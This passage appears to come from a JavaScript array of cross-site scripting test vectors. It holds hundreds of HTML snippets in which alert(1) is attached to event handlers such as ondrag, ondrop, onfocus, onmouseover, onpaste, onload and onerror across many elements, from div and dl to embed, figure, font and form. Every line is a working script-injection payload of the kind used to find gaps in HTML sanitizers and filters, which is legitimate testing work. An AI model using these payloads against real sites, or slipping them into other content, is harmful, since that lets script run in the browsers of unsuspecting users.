  String.raw`<div draggable="true" contenteditable>drag me</div><table ondragover=alert(1) contenteditable>drop here</table>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><table ondrop=alert(1) contenteditable>drop here</table>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><tbody ondragover=alert(1) contenteditable>drop here</tbody>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><tbody ondrop=alert(1) contenteditable>drop here</tbody>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><td ondragover=alert(1) contenteditable>drop here</td>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><td ondrop=alert(1) contenteditable>drop here</td>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><template ondragover=alert(1) contenteditable>drop here</template>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><template ondrop=alert(1) contenteditable>drop here</template>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><textarea ondragover=alert(1) contenteditable>drop here</textarea>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><textarea ondrop=alert(1) contenteditable>drop here</textarea>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><tfoot ondragover=alert(1) contenteditable>drop here</tfoot>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><tfoot ondrop=alert(1) contenteditable>drop here</tfoot>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><th ondragover=alert(1) contenteditable>drop here</th>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><th ondrop=alert(1) contenteditable>drop here</th>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><thead ondragover=alert(1) contenteditable>drop here</thead>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><thead ondrop=alert(1) contenteditable>drop here</thead>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><time ondragover=alert(1) contenteditable>drop here</time>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><time ondrop=alert(1) contenteditable>drop here</time>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><title ondragover=alert(1) contenteditable>drop here</title>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><title ondrop=alert(1) contenteditable>drop here</title>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><tr ondragover=alert(1) contenteditable>drop here</tr>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><tr ondrop=alert(1) contenteditable>drop here</tr>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><track ondragover=alert(1) contenteditable>drop here</track>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><track ondrop=alert(1) contenteditable>drop here</track>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><tt ondragover=alert(1) contenteditable>drop here</tt>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><tt ondrop=alert(1) contenteditable>drop here</tt>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><u ondragover=alert(1) contenteditable>drop here</u>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><u ondrop=alert(1) contenteditable>drop here</u>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><ul ondragover=alert(1) contenteditable>drop here</ul>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><ul ondrop=alert(1) contenteditable>drop here</ul>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><var ondragover=alert(1) contenteditable>drop here</var>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><var ondrop=alert(1) contenteditable>drop here</var>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><video ondragover=alert(1) contenteditable>drop here</video>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><video ondrop=alert(1) contenteditable>drop here</video>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><wbr ondragover=alert(1) contenteditable>drop here</wbr>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><wbr ondrop=alert(1) contenteditable>drop here</wbr>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><xmp ondragover=alert(1) contenteditable>drop here</xmp>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><xmp ondrop=alert(1) contenteditable>drop here</xmp>`,
  String.raw`<div draggable="true" ondrag="alert(1)">test</div>`,
  String.raw`<div draggable="true" ondragend="alert(1)">test</div>`,
  String.raw`<div draggable="true" ondragenter="alert(1)">test</div>`,
  String.raw`<div draggable="true" ondragleave="alert(1)">test</div>`,
  String.raw`<div draggable="true" ondragstart="alert(1)">test</div>`,
  String.raw`<div id=x tabindex=1 onactivate=alert(1)></div>`,
  String.raw`<div id=x tabindex=1 onbeforeactivate=alert(1)></div>`,
  String.raw`<div id=x tabindex=1 onbeforedeactivate=alert(1)></div><input autofocus>`,
  String.raw`<div id=x tabindex=1 ondeactivate=alert(1)></div><input id=y autofocus>`,
  String.raw`<div id=x tabindex=1 onfocus=alert(1)></div>`,
  String.raw`<div id=x tabindex=1 onfocusin=alert(1)></div>`,
  String.raw`<div onbeforecopy="alert(1)" contenteditable>test</div>`,
  String.raw`<div onbeforecut="alert(1)" contenteditable>test</div>`,
  String.raw`<div onbeforepaste="alert(1)" contenteditable>test</div>`,
  String.raw`<div onblur=alert(1) tabindex=1 id=x></div><input autofocus>`,
  String.raw`<div onclick="alert(1)">test</div>`,
  String.raw`<div oncontextmenu="alert(1)">test</div>`,
  String.raw`<div oncopy="alert(1)" contenteditable>test</div>`,
  String.raw`<div oncut="alert(1)" contenteditable>test</div>`,
  String.raw`<div ondblclick="alert(1)">test</div>`,
  String.raw`<div onfocusout=alert(1) tabindex=1 id=x></div><input autofocus>`,
  String.raw`<div onkeydown="alert(1)" contenteditable>test</div>`,
  String.raw`<div onkeypress="alert(1)" contenteditable>test</div>`,
  String.raw`<div onkeyup="alert(1)" contenteditable>test</div>`,
  String.raw`<div onmousedown="alert(1)">test</div>`,
  String.raw`<div onmouseenter="alert(1)">test</div>`,
  String.raw`<div onmouseleave="alert(1)">test</div>`,
  String.raw`<div onmousemove="alert(1)">test</div>`,
  String.raw`<div onmouseout="alert(1)">test</div>`,
  String.raw`<div onmouseover="alert(1)">test</div>`,
  String.raw`<div onmouseup="alert(1)">test</div>`,
  String.raw`<div onpaste="alert(1)" contenteditable>test</div>`,
  String.raw`<dl draggable="true" ondrag="alert(1)">test</dl>`,
  String.raw`<dl draggable="true" ondragend="alert(1)">test</dl>`,
  String.raw`<dl draggable="true" ondragenter="alert(1)">test</dl>`,
  String.raw`<dl draggable="true" ondragleave="alert(1)">test</dl>`,
  String.raw`<dl draggable="true" ondragstart="alert(1)">test</dl>`,
  String.raw`<dl id=x tabindex=1 onactivate=alert(1)></dl>`,
  String.raw`<dl id=x tabindex=1 onbeforeactivate=alert(1)></dl>`,
  String.raw`<dl id=x tabindex=1 onbeforedeactivate=alert(1)></dl><input autofocus>`,
  String.raw`<dl id=x tabindex=1 ondeactivate=alert(1)></dl><input id=y autofocus>`,
  String.raw`<dl id=x tabindex=1 onfocus=alert(1)></dl>`,
  String.raw`<dl id=x tabindex=1 onfocusin=alert(1)></dl>`,
  String.raw`<dl onbeforecopy="alert(1)" contenteditable>test</dl>`,
  String.raw`<dl onbeforecut="alert(1)" contenteditable>test</dl>`,
  String.raw`<dl onbeforepaste="alert(1)" contenteditable>test</dl>`,
  String.raw`<dl onblur=alert(1) tabindex=1 id=x></dl><input autofocus>`,
  String.raw`<dl onclick="alert(1)">test</dl>`,
  String.raw`<dl oncontextmenu="alert(1)">test</dl>`,
  String.raw`<dl oncopy="alert(1)" contenteditable>test</dl>`,
  String.raw`<dl oncut="alert(1)" contenteditable>test</dl>`,
  String.raw`<dl ondblclick="alert(1)">test</dl>`,
  String.raw`<dl onfocusout=alert(1) tabindex=1 id=x></dl><input autofocus>`,
  String.raw`<dl onkeydown="alert(1)" contenteditable>test</dl>`,
  String.raw`<dl onkeypress="alert(1)" contenteditable>test</dl>`,
  String.raw`<dl onkeyup="alert(1)" contenteditable>test</dl>`,
  String.raw`<dl onmousedown="alert(1)">test</dl>`,
  String.raw`<dl onmouseenter="alert(1)">test</dl>`,
  String.raw`<dl onmouseleave="alert(1)">test</dl>`,
  String.raw`<dl onmousemove="alert(1)">test</dl>`,
  String.raw`<dl onmouseout="alert(1)">test</dl>`,
  String.raw`<dl onmouseover="alert(1)">test</dl>`,
  String.raw`<dl onmouseup="alert(1)">test</dl>`,
  String.raw`<dl onpaste="alert(1)" contenteditable>test</dl>`,
  String.raw`<dt draggable="true" ondrag="alert(1)">test</dt>`,
  String.raw`<dt draggable="true" ondragend="alert(1)">test</dt>`,
  String.raw`<dt draggable="true" ondragenter="alert(1)">test</dt>`,
  String.raw`<dt draggable="true" ondragleave="alert(1)">test</dt>`,
  String.raw`<dt draggable="true" ondragstart="alert(1)">test</dt>`,
  String.raw`<dt id=x tabindex=1 onactivate=alert(1)></dt>`,
  String.raw`<dt id=x tabindex=1 onbeforeactivate=alert(1)></dt>`,
  String.raw`<dt id=x tabindex=1 onbeforedeactivate=alert(1)></dt><input autofocus>`,
  String.raw`<dt id=x tabindex=1 ondeactivate=alert(1)></dt><input id=y autofocus>`,
  String.raw`<dt id=x tabindex=1 onfocus=alert(1)></dt>`,
  String.raw`<dt id=x tabindex=1 onfocusin=alert(1)></dt>`,
  String.raw`<dt onbeforecopy="alert(1)" contenteditable>test</dt>`,
  String.raw`<dt onbeforecut="alert(1)" contenteditable>test</dt>`,
  String.raw`<dt onbeforepaste="alert(1)" contenteditable>test</dt>`,
  String.raw`<dt onblur=alert(1) tabindex=1 id=x></dt><input autofocus>`,
  String.raw`<dt onclick="alert(1)">test</dt>`,
  String.raw`<dt oncontextmenu="alert(1)">test</dt>`,
  String.raw`<dt oncopy="alert(1)" contenteditable>test</dt>`,
  String.raw`<dt oncut="alert(1)" contenteditable>test</dt>`,
  String.raw`<dt ondblclick="alert(1)">test</dt>`,
  String.raw`<dt onfocusout=alert(1) tabindex=1 id=x></dt><input autofocus>`,
  String.raw`<dt onkeydown="alert(1)" contenteditable>test</dt>`,
  String.raw`<dt onkeypress="alert(1)" contenteditable>test</dt>`,
  String.raw`<dt onkeyup="alert(1)" contenteditable>test</dt>`,
  String.raw`<dt onmousedown="alert(1)">test</dt>`,
  String.raw`<dt onmouseenter="alert(1)">test</dt>`,
  String.raw`<dt onmouseleave="alert(1)">test</dt>`,
  String.raw`<dt onmousemove="alert(1)">test</dt>`,
  String.raw`<dt onmouseout="alert(1)">test</dt>`,
  String.raw`<dt onmouseover="alert(1)">test</dt>`,
  String.raw`<dt onmouseup="alert(1)">test</dt>`,
  String.raw`<dt onpaste="alert(1)" contenteditable>test</dt>`,
  String.raw`<element draggable="true" ondrag="alert(1)">test</element>`,
  String.raw`<element draggable="true" ondragend="alert(1)">test</element>`,
  String.raw`<element draggable="true" ondragenter="alert(1)">test</element>`,
  String.raw`<element draggable="true" ondragleave="alert(1)">test</element>`,
  String.raw`<element draggable="true" ondragstart="alert(1)">test</element>`,
  String.raw`<element id=x tabindex=1 onactivate=alert(1)></element>`,
  String.raw`<element id=x tabindex=1 onbeforeactivate=alert(1)></element>`,
  String.raw`<element id=x tabindex=1 onbeforedeactivate=alert(1)></element><input autofocus>`,
  String.raw`<element id=x tabindex=1 ondeactivate=alert(1)></element><input id=y autofocus>`,
  String.raw`<element id=x tabindex=1 onfocus=alert(1)></element>`,
  String.raw`<element id=x tabindex=1 onfocusin=alert(1)></element>`,
  String.raw`<element onbeforecopy="alert(1)" contenteditable>test</element>`,
  String.raw`<element onbeforecut="alert(1)" contenteditable>test</element>`,
  String.raw`<element onbeforepaste="alert(1)" contenteditable>test</element>`,
  String.raw`<element onblur=alert(1) tabindex=1 id=x></element><input autofocus>`,
  String.raw`<element onclick="alert(1)">test</element>`,
  String.raw`<element oncontextmenu="alert(1)">test</element>`,
  String.raw`<element oncopy="alert(1)" contenteditable>test</element>`,
  String.raw`<element oncut="alert(1)" contenteditable>test</element>`,
  String.raw`<element ondblclick="alert(1)">test</element>`,
  String.raw`<element onfocusout=alert(1) tabindex=1 id=x></element><input autofocus>`,
  String.raw`<element onkeydown="alert(1)" contenteditable>test</element>`,
  String.raw`<element onkeypress="alert(1)" contenteditable>test</element>`,
  String.raw`<element onkeyup="alert(1)" contenteditable>test</element>`,
  String.raw`<element onmousedown="alert(1)">test</element>`,
  String.raw`<element onmouseenter="alert(1)">test</element>`,
  String.raw`<element onmouseleave="alert(1)">test</element>`,
  String.raw`<element onmousemove="alert(1)">test</element>`,
  String.raw`<element onmouseout="alert(1)">test</element>`,
  String.raw`<element onmouseover="alert(1)">test</element>`,
  String.raw`<element onmouseup="alert(1)">test</element>`,
  String.raw`<element onpaste="alert(1)" contenteditable>test</element>`,
  String.raw`<em draggable="true" ondrag="alert(1)">test</em>`,
  String.raw`<em draggable="true" ondragend="alert(1)">test</em>`,
  String.raw`<em draggable="true" ondragenter="alert(1)">test</em>`,
  String.raw`<em draggable="true" ondragleave="alert(1)">test</em>`,
  String.raw`<em draggable="true" ondragstart="alert(1)">test</em>`,
  String.raw`<em id=x tabindex=1 onactivate=alert(1)></em>`,
  String.raw`<em id=x tabindex=1 onbeforeactivate=alert(1)></em>`,
  String.raw`<em id=x tabindex=1 onbeforedeactivate=alert(1)></em><input autofocus>`,
  String.raw`<em id=x tabindex=1 ondeactivate=alert(1)></em><input id=y autofocus>`,
  String.raw`<em id=x tabindex=1 onfocus=alert(1)></em>`,
  String.raw`<em id=x tabindex=1 onfocusin=alert(1)></em>`,
  String.raw`<em onbeforecopy="alert(1)" contenteditable>test</em>`,
  String.raw`<em onbeforecut="alert(1)" contenteditable>test</em>`,
  String.raw`<em onbeforepaste="alert(1)" contenteditable>test</em>`,
  String.raw`<em onblur=alert(1) tabindex=1 id=x></em><input autofocus>`,
  String.raw`<em onclick="alert(1)">test</em>`,
  String.raw`<em oncontextmenu="alert(1)">test</em>`,
  String.raw`<em oncopy="alert(1)" contenteditable>test</em>`,
  String.raw`<em oncut="alert(1)" contenteditable>test</em>`,
  String.raw`<em ondblclick="alert(1)">test</em>`,
  String.raw`<em onfocusout=alert(1) tabindex=1 id=x></em><input autofocus>`,
  String.raw`<em onkeydown="alert(1)" contenteditable>test</em>`,
  String.raw`<em onkeypress="alert(1)" contenteditable>test</em>`,
  String.raw`<em onkeyup="alert(1)" contenteditable>test</em>`,
  String.raw`<em onmousedown="alert(1)">test</em>`,
  String.raw`<em onmouseenter="alert(1)">test</em>`,
  String.raw`<em onmouseleave="alert(1)">test</em>`,
  String.raw`<em onmousemove="alert(1)">test</em>`,
  String.raw`<em onmouseout="alert(1)">test</em>`,
  String.raw`<em onmouseover="alert(1)">test</em>`,
  String.raw`<em onmouseup="alert(1)">test</em>`,
  String.raw`<em onpaste="alert(1)" contenteditable>test</em>`,
  String.raw`<embed draggable="true" ondrag="alert(1)">test</embed>`,
  String.raw`<embed draggable="true" ondragend="alert(1)">test</embed>`,
  String.raw`<embed draggable="true" ondragenter="alert(1)">test</embed>`,
  String.raw`<embed draggable="true" ondragleave="alert(1)">test</embed>`,
  String.raw`<embed draggable="true" ondragstart="alert(1)">test</embed>`,
  String.raw`<embed id=x onfocus=alert(1) type=text/html>`,
  String.raw`<embed id=x onfocusin=alert(1) type=text/html>`,
  String.raw`<embed id=x tabindex=1 onactivate=alert(1)></embed>`,
  String.raw`<embed id=x tabindex=1 onbeforeactivate=alert(1)></embed>`,
  String.raw`<embed id=x tabindex=1 onbeforedeactivate=alert(1)></embed><input autofocus>`,
  String.raw`<embed id=x tabindex=1 ondeactivate=alert(1)></embed><input id=y autofocus>`,
  String.raw`<embed onbeforecopy="alert(1)" contenteditable>test</embed>`,
  String.raw`<embed onbeforecut="alert(1)" contenteditable>test</embed>`,
  String.raw`<embed onbeforepaste="alert(1)" contenteditable>test</embed>`,
  String.raw`<embed onblur=alert(1) tabindex=1 id=x></embed><input autofocus>`,
  String.raw`<embed onclick="alert(1)">test</embed>`,
  String.raw`<embed oncontextmenu="alert(1)">test</embed>`,
  String.raw`<embed oncopy="alert(1)" contenteditable>test</embed>`,
  String.raw`<embed oncut="alert(1)" contenteditable>test</embed>`,
  String.raw`<embed ondblclick="alert(1)">test</embed>`,
  String.raw`<embed onfocusout=alert(1) tabindex=1 id=x></embed><input autofocus>`,
  String.raw`<embed onkeydown="alert(1)" contenteditable>test</embed>`,
  String.raw`<embed onkeypress="alert(1)" contenteditable>test</embed>`,
  String.raw`<embed onkeyup="alert(1)" contenteditable>test</embed>`,
  String.raw`<embed onmousedown="alert(1)">test</embed>`,
  String.raw`<embed onmouseenter="alert(1)">test</embed>`,
  String.raw`<embed onmouseleave="alert(1)">test</embed>`,
  String.raw`<embed onmousemove="alert(1)">test</embed>`,
  String.raw`<embed onmouseout="alert(1)">test</embed>`,
  String.raw`<embed onmouseover="alert(1)">test</embed>`,
  String.raw`<embed onmouseup="alert(1)">test</embed>`,
  String.raw`<embed onpaste="alert(1)" contenteditable>test</embed>`,
  String.raw`<embed src=/ onload=alert(1)>`,
  String.raw`<embed src=1 onerror=alert(1) type=image/gif>`,
  String.raw`<fieldset draggable="true" ondrag="alert(1)">test</fieldset>`,
  String.raw`<fieldset draggable="true" ondragend="alert(1)">test</fieldset>`,
  String.raw`<fieldset draggable="true" ondragenter="alert(1)">test</fieldset>`,
  String.raw`<fieldset draggable="true" ondragleave="alert(1)">test</fieldset>`,
  String.raw`<fieldset draggable="true" ondragstart="alert(1)">test</fieldset>`,
  String.raw`<fieldset id=x tabindex=1 onactivate=alert(1)></fieldset>`,
  String.raw`<fieldset id=x tabindex=1 onbeforeactivate=alert(1)></fieldset>`,
  String.raw`<fieldset id=x tabindex=1 onbeforedeactivate=alert(1)></fieldset><input autofocus>`,
  String.raw`<fieldset id=x tabindex=1 ondeactivate=alert(1)></fieldset><input id=y autofocus>`,
  String.raw`<fieldset id=x tabindex=1 onfocus=alert(1)></fieldset>`,
  String.raw`<fieldset id=x tabindex=1 onfocusin=alert(1)></fieldset>`,
  String.raw`<fieldset onbeforecopy="alert(1)" contenteditable>test</fieldset>`,
  String.raw`<fieldset onbeforecut="alert(1)" contenteditable>test</fieldset>`,
  String.raw`<fieldset onbeforepaste="alert(1)" contenteditable>test</fieldset>`,
  String.raw`<fieldset onblur=alert(1) tabindex=1 id=x></fieldset><input autofocus>`,
  String.raw`<fieldset onclick="alert(1)">test</fieldset>`,
  String.raw`<fieldset oncontextmenu="alert(1)">test</fieldset>`,
  String.raw`<fieldset oncopy="alert(1)" contenteditable>test</fieldset>`,
  String.raw`<fieldset oncut="alert(1)" contenteditable>test</fieldset>`,
  String.raw`<fieldset ondblclick="alert(1)">test</fieldset>`,
  String.raw`<fieldset onfocusout=alert(1) tabindex=1 id=x></fieldset><input autofocus>`,
  String.raw`<fieldset onkeydown="alert(1)" contenteditable>test</fieldset>`,
  String.raw`<fieldset onkeypress="alert(1)" contenteditable>test</fieldset>`,
  String.raw`<fieldset onkeyup="alert(1)" contenteditable>test</fieldset>`,
  String.raw`<fieldset onmousedown="alert(1)">test</fieldset>`,
  String.raw`<fieldset onmouseenter="alert(1)">test</fieldset>`,
  String.raw`<fieldset onmouseleave="alert(1)">test</fieldset>`,
  String.raw`<fieldset onmousemove="alert(1)">test</fieldset>`,
  String.raw`<fieldset onmouseout="alert(1)">test</fieldset>`,
  String.raw`<fieldset onmouseover="alert(1)">test</fieldset>`,
  String.raw`<fieldset onmouseup="alert(1)">test</fieldset>`,
  String.raw`<fieldset onpaste="alert(1)" contenteditable>test</fieldset>`,
  String.raw`<figcaption draggable="true" ondrag="alert(1)">test</figcaption>`,
  String.raw`<figcaption draggable="true" ondragend="alert(1)">test</figcaption>`,
  String.raw`<figcaption draggable="true" ondragenter="alert(1)">test</figcaption>`,
  String.raw`<figcaption draggable="true" ondragleave="alert(1)">test</figcaption>`,
  String.raw`<figcaption draggable="true" ondragstart="alert(1)">test</figcaption>`,
  String.raw`<figcaption id=x tabindex=1 onactivate=alert(1)></figcaption>`,
  String.raw`<figcaption id=x tabindex=1 onbeforeactivate=alert(1)></figcaption>`,
  String.raw`<figcaption id=x tabindex=1 onbeforedeactivate=alert(1)></figcaption><input autofocus>`,
  String.raw`<figcaption id=x tabindex=1 ondeactivate=alert(1)></figcaption><input id=y autofocus>`,
  String.raw`<figcaption id=x tabindex=1 onfocus=alert(1)></figcaption>`,
  String.raw`<figcaption id=x tabindex=1 onfocusin=alert(1)></figcaption>`,
  String.raw`<figcaption onbeforecopy="alert(1)" contenteditable>test</figcaption>`,
  String.raw`<figcaption onbeforecut="alert(1)" contenteditable>test</figcaption>`,
  String.raw`<figcaption onbeforepaste="alert(1)" contenteditable>test</figcaption>`,
  String.raw`<figcaption onblur=alert(1) tabindex=1 id=x></figcaption><input autofocus>`,
  String.raw`<figcaption onclick="alert(1)">test</figcaption>`,
  String.raw`<figcaption oncontextmenu="alert(1)">test</figcaption>`,
  String.raw`<figcaption oncopy="alert(1)" contenteditable>test</figcaption>`,
  String.raw`<figcaption oncut="alert(1)" contenteditable>test</figcaption>`,
  String.raw`<figcaption ondblclick="alert(1)">test</figcaption>`,
  String.raw`<figcaption onfocusout=alert(1) tabindex=1 id=x></figcaption><input autofocus>`,
  String.raw`<figcaption onkeydown="alert(1)" contenteditable>test</figcaption>`,
  String.raw`<figcaption onkeypress="alert(1)" contenteditable>test</figcaption>`,
  String.raw`<figcaption onkeyup="alert(1)" contenteditable>test</figcaption>`,
  String.raw`<figcaption onmousedown="alert(1)">test</figcaption>`,
  String.raw`<figcaption onmouseenter="alert(1)">test</figcaption>`,
  String.raw`<figcaption onmouseleave="alert(1)">test</figcaption>`,
  String.raw`<figcaption onmousemove="alert(1)">test</figcaption>`,
  String.raw`<figcaption onmouseout="alert(1)">test</figcaption>`,
  String.raw`<figcaption onmouseover="alert(1)">test</figcaption>`,
  String.raw`<figcaption onmouseup="alert(1)">test</figcaption>`,
  String.raw`<figcaption onpaste="alert(1)" contenteditable>test</figcaption>`,
  String.raw`<figure draggable="true" ondrag="alert(1)">test</figure>`,
  String.raw`<figure draggable="true" ondragend="alert(1)">test</figure>`,
  String.raw`<figure draggable="true" ondragenter="alert(1)">test</figure>`,
  String.raw`<figure draggable="true" ondragleave="alert(1)">test</figure>`,
  String.raw`<figure draggable="true" ondragstart="alert(1)">test</figure>`,
  String.raw`<figure id=x tabindex=1 onactivate=alert(1)></figure>`,
  String.raw`<figure id=x tabindex=1 onbeforeactivate=alert(1)></figure>`,
  String.raw`<figure id=x tabindex=1 onbeforedeactivate=alert(1)></figure><input autofocus>`,
  String.raw`<figure id=x tabindex=1 ondeactivate=alert(1)></figure><input id=y autofocus>`,
  String.raw`<figure id=x tabindex=1 onfocus=alert(1)></figure>`,
  String.raw`<figure id=x tabindex=1 onfocusin=alert(1)></figure>`,
  String.raw`<figure onbeforecopy="alert(1)" contenteditable>test</figure>`,
  String.raw`<figure onbeforecut="alert(1)" contenteditable>test</figure>`,
  String.raw`<figure onbeforepaste="alert(1)" contenteditable>test</figure>`,
  String.raw`<figure onblur=alert(1) tabindex=1 id=x></figure><input autofocus>`,
  String.raw`<figure onclick="alert(1)">test</figure>`,
  String.raw`<figure oncontextmenu="alert(1)">test</figure>`,
  String.raw`<figure oncopy="alert(1)" contenteditable>test</figure>`,
  String.raw`<figure oncut="alert(1)" contenteditable>test</figure>`,
  String.raw`<figure ondblclick="alert(1)">test</figure>`,
  String.raw`<figure onfocusout=alert(1) tabindex=1 id=x></figure><input autofocus>`,
  String.raw`<figure onkeydown="alert(1)" contenteditable>test</figure>`,
  String.raw`<figure onkeypress="alert(1)" contenteditable>test</figure>`,
  String.raw`<figure onkeyup="alert(1)" contenteditable>test</figure>`,
  String.raw`<figure onmousedown="alert(1)">test</figure>`,
  String.raw`<figure onmouseenter="alert(1)">test</figure>`,
  String.raw`<figure onmouseleave="alert(1)">test</figure>`,
  String.raw`<figure onmousemove="alert(1)">test</figure>`,
  String.raw`<figure onmouseout="alert(1)">test</figure>`,
  String.raw`<figure onmouseover="alert(1)">test</figure>`,
  String.raw`<figure onmouseup="alert(1)">test</figure>`,
  String.raw`<figure onpaste="alert(1)" contenteditable>test</figure>`,
  String.raw`<font draggable="true" ondrag="alert(1)">test</font>`,
  String.raw`<font draggable="true" ondragend="alert(1)">test</font>`,
  String.raw`<font draggable="true" ondragenter="alert(1)">test</font>`,
  String.raw`<font draggable="true" ondragleave="alert(1)">test</font>`,
  String.raw`<font draggable="true" ondragstart="alert(1)">test</font>`,
  String.raw`<font id=x tabindex=1 onactivate=alert(1)></font>`,
  String.raw`<font id=x tabindex=1 onbeforeactivate=alert(1)></font>`,
  String.raw`<font id=x tabindex=1 onbeforedeactivate=alert(1)></font><input autofocus>`,
  String.raw`<font id=x tabindex=1 ondeactivate=alert(1)></font><input id=y autofocus>`,
  String.raw`<font id=x tabindex=1 onfocus=alert(1)></font>`,
  String.raw`<font id=x tabindex=1 onfocusin=alert(1)></font>`,
  String.raw`<font onbeforecopy="alert(1)" contenteditable>test</font>`,
  String.raw`<font onbeforecut="alert(1)" contenteditable>test</font>`,
  String.raw`<font onbeforepaste="alert(1)" contenteditable>test</font>`,
  String.raw`<font onblur=alert(1) tabindex=1 id=x></font><input autofocus>`,
  String.raw`<font onclick="alert(1)">test</font>`,
  String.raw`<font oncontextmenu="alert(1)">test</font>`,
  String.raw`<font oncopy="alert(1)" contenteditable>test</font>`,
  String.raw`<font oncut="alert(1)" contenteditable>test</font>`,
  String.raw`<font ondblclick="alert(1)">test</font>`,
  String.raw`<font onfocusout=alert(1) tabindex=1 id=x></font><input autofocus>`,
  String.raw`<font onkeydown="alert(1)" contenteditable>test</font>`,
  String.raw`<font onkeypress="alert(1)" contenteditable>test</font>`,
  String.raw`<font onkeyup="alert(1)" contenteditable>test</font>`,
  String.raw`<font onmousedown="alert(1)">test</font>`,
  String.raw`<font onmouseenter="alert(1)">test</font>`,
  String.raw`<font onmouseleave="alert(1)">test</font>`,
  String.raw`<font onmousemove="alert(1)">test</font>`,
  String.raw`<font onmouseout="alert(1)">test</font>`,
  String.raw`<font onmouseover="alert(1)">test</font>`,
  String.raw`<font onmouseup="alert(1)">test</font>`,
  String.raw`<font onpaste="alert(1)" contenteditable>test</font>`,
  String.raw`<footer draggable="true" ondrag="alert(1)">test</footer>`,
  String.raw`<footer draggable="true" ondragend="alert(1)">test</footer>`,
  String.raw`<footer draggable="true" ondragenter="alert(1)">test</footer>`,
  String.raw`<footer draggable="true" ondragleave="alert(1)">test</footer>`,
  String.raw`<footer draggable="true" ondragstart="alert(1)">test</footer>`,
  String.raw`<footer id=x tabindex=1 onactivate=alert(1)></footer>`,
  String.raw`<footer id=x tabindex=1 onbeforeactivate=alert(1)></footer>`,
  String.raw`<footer id=x tabindex=1 onbeforedeactivate=alert(1)></footer><input autofocus>`,
  String.raw`<footer id=x tabindex=1 ondeactivate=alert(1)></footer><input id=y autofocus>`,
  String.raw`<footer id=x tabindex=1 onfocus=alert(1)></footer>`,
  String.raw`<footer id=x tabindex=1 onfocusin=alert(1)></footer>`,
  String.raw`<footer onbeforecopy="alert(1)" contenteditable>test</footer>`,
  String.raw`<footer onbeforecut="alert(1)" contenteditable>test</footer>`,
  String.raw`<footer onbeforepaste="alert(1)" contenteditable>test</footer>`,
  String.raw`<footer onblur=alert(1) tabindex=1 id=x></footer><input autofocus>`,
  String.raw`<footer onclick="alert(1)">test</footer>`,
  String.raw`<footer oncontextmenu="alert(1)">test</footer>`,
  String.raw`<footer oncopy="alert(1)" contenteditable>test</footer>`,
  String.raw`<footer oncut="alert(1)" contenteditable>test</footer>`,
  String.raw`<footer ondblclick="alert(1)">test</footer>`,
  String.raw`<footer onfocusout=alert(1) tabindex=1 id=x></footer><input autofocus>`,
  String.raw`<footer onkeydown="alert(1)" contenteditable>test</footer>`,
  String.raw`<footer onkeypress="alert(1)" contenteditable>test</footer>`,
  String.raw`<footer onkeyup="alert(1)" contenteditable>test</footer>`,
  String.raw`<footer onmousedown="alert(1)">test</footer>`,
  String.raw`<footer onmouseenter="alert(1)">test</footer>`,
  String.raw`<footer onmouseleave="alert(1)">test</footer>`,
  String.raw`<footer onmousemove="alert(1)">test</footer>`,
  String.raw`<footer onmouseout="alert(1)">test</footer>`,
  String.raw`<footer onmouseover="alert(1)">test</footer>`,
  String.raw`<footer onmouseup="alert(1)">test</footer>`,
  String.raw`<footer onpaste="alert(1)" contenteditable>test</footer>`,
  String.raw`<form draggable="true" ondrag="alert(1)">test</form>`,
  String.raw`<form draggable="true" ondragend="alert(1)">test</form>`,
  String.raw`<form draggable="true" ondragenter="alert(1)">test</form>`,
  String.raw`<form draggable="true" ondragleave="alert(1)">test</form>`,
  String.raw`<form draggable="true" ondragstart="alert(1)">test</form>`,
  String.raw`<form id=x tabindex=1 onactivate=alert(1)></form>`,
  String.raw`<form id=x tabindex=1 onbeforeactivate=alert(1)></form>`,
  String.raw`<form id=x tabindex=1 onbeforedeactivate=alert(1)></form><input autofocus>`,
  String.raw`<form id=x tabindex=1 ondeactivate=alert(1)></form><input id=y autofocus>`,
  String.raw`<form id=x tabindex=1 onfocus=alert(1)></form>`,
  String.raw`<form id=x tabindex=1 onfocusin=alert(1)></form>`,
  String.raw`<form onbeforecopy="alert(1)" contenteditable>test</form>`,
  String.raw`<form onbeforecut="alert(1)" contenteditable>test</form>`,
  String.raw`<form onbeforepaste="alert(1)" contenteditable>test</form>`,
  String.raw`<form onblur=alert(1) tabindex=1 id=x></form><input autofocus>`,
  String.raw`<form onclick="alert(1)">test</form>`,
  String.raw`<form oncontextmenu="alert(1)">test</form>`,
  String.raw`<form oncopy="alert(1)" contenteditable>test</form>`,
  String.raw`<form oncut="alert(1)" contenteditable>test</form>`,
  String.raw`<form ondblclick="alert(1)">test</form>`,
  String.raw`<form onfocusout=alert(1) tabindex=1 id=x></form><input autofocus>`,
